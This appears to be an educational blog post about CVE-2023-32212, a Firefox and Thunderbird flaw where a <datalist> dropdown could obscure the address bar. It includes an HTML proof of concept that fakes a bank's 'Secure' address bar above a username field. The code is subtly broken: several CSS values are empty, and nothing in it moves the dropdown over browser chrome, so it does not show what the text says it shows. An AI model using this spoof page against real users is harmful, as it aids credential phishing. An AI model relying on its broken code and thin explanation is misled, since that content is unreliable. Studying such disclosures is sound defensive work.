CVE-2023-32212 - How an Attacker Could Hide the Address Bar Using a `<datalist>` Element in Firefox and Thunderbird
Browser security is all about helping users know where they are and who they’re actually communicating with. One classic trick in phishing is to hide or cover up the address bar with something fake. CVE-2023-32212 is an interesting example, and it affected Mozilla Firefox (versions before 113), Firefox ESR (before 102.11), and Thunderbird (before 102.11).
Let's walk through how a simple HTML element called <datalist> could help attackers make you think you’re somewhere safe—when actually, you’re under attack.
Quick Summary
- CVE: CVE-2023-32212
What’s the <datalist> Element?
The <datalist> element provides an “auto-suggest” dropdown for HTML <input> elements. When you focus an input, you can see a list of suggested values.
Browsers try to position the dropdown helpfully. But in older Firefox, attackers could force <datalist> to pop up anywhere on the screen. That could include right over the address bar!
Why Does This Matter?
The address bar is the #1 way for you to check where you really are. If the address bar is hidden or covered, attackers can make a web page look legitimate—but you’re actually on their phishing domain.
Technical Exploit Details
Let’s see this in action with some code! Here’s how an attacker could trick a vulnerable version of Firefox:
<!DOCTYPE html>
<html>
<head>
<style>
body {
margin: ;
overflow: hidden;
}
#fakebar {
background: white;
color: black;
font-size: 18px;
width: 100vw;
height: 40px;
line-height: 40px;
position: fixed;
top: ;
left: ;
z-index: 999999;
text-align: center;
border-bottom: 1px solid #ccc;
}
input {
margin-top: 100px;
font-size: 18px;
width: 90vw;
display: block;
}
</style>
</head>
<body>
<div id="fakebar">https://www.trustedbank.com - Secure</div>
<input id="phishinput" list="phishy-list" placeholder="Username">
<datalist id="phishy-list">
<option value="suggestion1">
<option value="suggestion2">
<option value="suggestion3">
</datalist>
<script>
// Focus the input on page load to force the dropdown to appear
window.onload = function() {
document.getElementById('phishinput').focus();
}
// Optionally, simulate keyboard input to keep the dropdown open
</script>
</body>
</html>
Here’s the trick:
The user never sees the true URL!
Obscuring the real address means someone could disguise any phishing site as a trustworthy one.
How Would an Attacker Use This?
A malicious web page or email (in Thunderbird) uses the trick above. Once a user lands there, they think everything looks normal. But they’re entering credentials into the attacker’s page, not the real site.
This vulnerability would work best in full-screen mode or on mobile views, where the address bar is already small or disappears easily.
Fixes & Recommendations
Mozilla fixed this in Firefox 113+ and Thunderbird 102.11+. They made sure <datalist> cannot overlap or obscure critical browser UI elements like the address bar any more.
References
- National Vulnerability Database: CVE-2023-32212
- Mozilla Security Advisory: MFSA 2023-18
- GitHub Proof of Concept (PoC) *(external)*
Final Thoughts
CVE-2023-32212 shows why browser security is more than just fixing software bugs—it’s about never letting a website trick users into believing they’re somewhere safe, when they’re not. Always stay alert and keep your browser updated to the latest version.
*This post is an exclusive and educational look at a real-world browser security flaw. Never use this knowledge for unauthorized harm.*
Timeline
Published on: 06/02/2023 17:15:00 UTC
Last modified on: 06/09/2023 03:55:00 UTC